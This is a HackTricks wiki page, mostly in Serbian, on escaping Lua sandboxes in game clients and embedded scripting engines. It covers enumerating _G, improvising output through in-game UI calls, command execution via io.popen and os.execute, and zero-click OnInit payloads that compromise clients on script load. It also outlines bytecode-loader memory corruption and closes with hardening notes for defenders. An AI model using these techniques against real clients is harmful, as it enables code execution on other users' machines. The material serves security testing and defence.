Zaobilaženje Lua sandboxes (embedded VMs, game clients)

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ova stranica prikuplja praktične tehnike za enumeraciju i bekstvo iz Lua "sandboxes" ugrađenih u aplikacije (notably game clients, plugins, or in-app scripting engines). Mnogi engine-i izlažu ograničeno Lua okruženje, ali ostavljaju moćne globale dostupne koje omogućavaju proizvoljno izvršavanje komandi ili čak korupciju native memorije kada su izloženi bytecode loaders.

Ključne ideje:

  • Posmatrajte VM kao nepoznato okruženje: enumerišite _G i otkrijte koje opasne primitive su dostupne.
  • Kada su stdout/print blokirani, zloupotrebite bilo koji in-VM UI/IPC kanal kao output sink da posmatrate rezultate.
  • Ako je io/os izložen, često imate direktno izvršavanje komandi (io.popen, os.execute).
  • Ako su load/loadstring/loadfile izloženi, izvršavanje pažljivo kreiranog Lua bytecode-a može narušiti sigurnost memorije u nekim verzijama (≤5.1 verifikatori su zaobiđivi; 5.2 je uklonio verifier), omogućavajući naprednu eksploataciju.

Enumerišite sandboxed okruženje

  • Izdumpajte globalno okruženje da inventarišete dostupne tabele/funkcije:
lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
out("=== DUMPING _G ===")
for k, v in pairs(_G) do
out(tostring(k) .. " = " .. tostring(v))
end
end
  • Ako print() nije dostupan, iskoristite in-VM kanale. Primer iz MMO housing script VM-a gde chat izlaz radi samo nakon poziva zvuka; sledeći kod pravi pouzdanu izlaznu funkciju:
lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
-- Some engines require enabling an audio channel before speaking
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
return function(msg)
H.Say(label or 1, msg)
end
end

function OnMenu(menuNum)
if menuNum ~= 3 then return end
local out = ButlerOut(1)
dump_globals(out)
end

Generalizujte ovaj obrazac za vaš cilj: bilo koji textbox, toast, logger ili UI callback koji prihvata stringove može poslužiti kao stdout za reconnaissance.

Direct command execution ako su io/os izloženi

Ako sandbox i dalje izlaže standardne biblioteke io ili os, verovatno odmah imate command execution:

lua
-- Windows example
io.popen("calc.exe")

-- Cross-platform variants depending on exposure
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")

Notes:

  • Izvršavanje se dešava unutar klijentskog procesa; mnogi anti-cheat/antidebug slojevi koji blokiraju external debuggers neće sprečiti in-VM process creation.
  • Takođe proveri: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).

Zero-click triggers via auto-run callbacks

Ako host application šalje skripte klijentima i VM izlaže auto-run hooks (npr. OnInit/OnLoad/OnEnter), postavi svoj payload tamo za drive-by compromise čim se skripta učita:

lua
function OnInit()
io.popen("calc.exe") -- or any command
end

Bilo koji ekvivalentan callback (OnLoad, OnEnter, itd.) generalizuje ovu tehniku kada se skripte automatski prenose i izvršavaju na klijentu.

Opasni primitivni elementi koje treba tražiti tokom recon

Tokom _G enumeracije, posebno tražite:

  • io, os: io.popen, os.execute, file I/O, pristup env.
  • load, loadstring, loadfile, dofile: izvršava source ili bytecode; podržava učitavanje nepouzdanog bytecode-a.
  • package, package.loadlib, require: dinamičko učitavanje biblioteka i površina modula.
  • debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, i hooks.
  • LuaJIT-only: ffi.cdef, ffi.load za direktno pozivanje nativnog koda.

Minimalni primeri upotrebe (ako su dostupni):

lua
-- Execute source/bytecode
local f = load("return 1+1")
print(f()) -- 2

-- loadstring is alias of load for strings in 5.1
local bc = string.dump(function() return 0x1337 end)
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
print(g())

-- Load native library symbol (if allowed)
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()

Opcionalna eskalacija: zloupotreba Lua bytecode loadera

Kada su load/loadstring/loadfile dostupni, a io/os ograničeni, izvršavanje pažljivo konstruisanog Lua bytecode-a može dovesti do otkrivanja sadržaja memorije i primitiva za korupciju. Ključne činjenice:

  • Lua ≤ 5.1 je dolazio sa bytecode verifier-om koji ima poznate bypasses.
  • Lua 5.2 je u potpunosti uklonio verifier (zvanični stav: aplikacije bi trebalo jednostavno da odbace precompiled chunks), čime se proširuje attack surface ako bytecode loading nije zabranjen.
  • Tipični workflow-i: leak pointers putem in-VM output-a, konstruisati bytecode za stvaranje type confusions (npr. oko FORLOOP ili drugih opcode-a), zatim pivot na arbitrary read/write ili native code execution.

Ovaj put je specifičan za engine/version i zahteva RE. Pogledajte references za deep dives, exploitation primitives i primere gadgetry u games.

Detection and hardening notes (for defenders)

  • Server side: odbaciti ili prepisati user scripts; allowlist safe APIs; strip ili bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
  • Client side: pokretati Lua sa minimalnim _ENV-om, zabraniti bytecode loading, ponovo uvesti strogi bytecode verifier ili provere potpisa, i blokirati kreiranje procesa iz procesa klijenta.
  • Telemetry: alert na gameclient → child process creation ubrzo nakon učitavanja skripte; korelirati sa UI/chat/script događajima.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks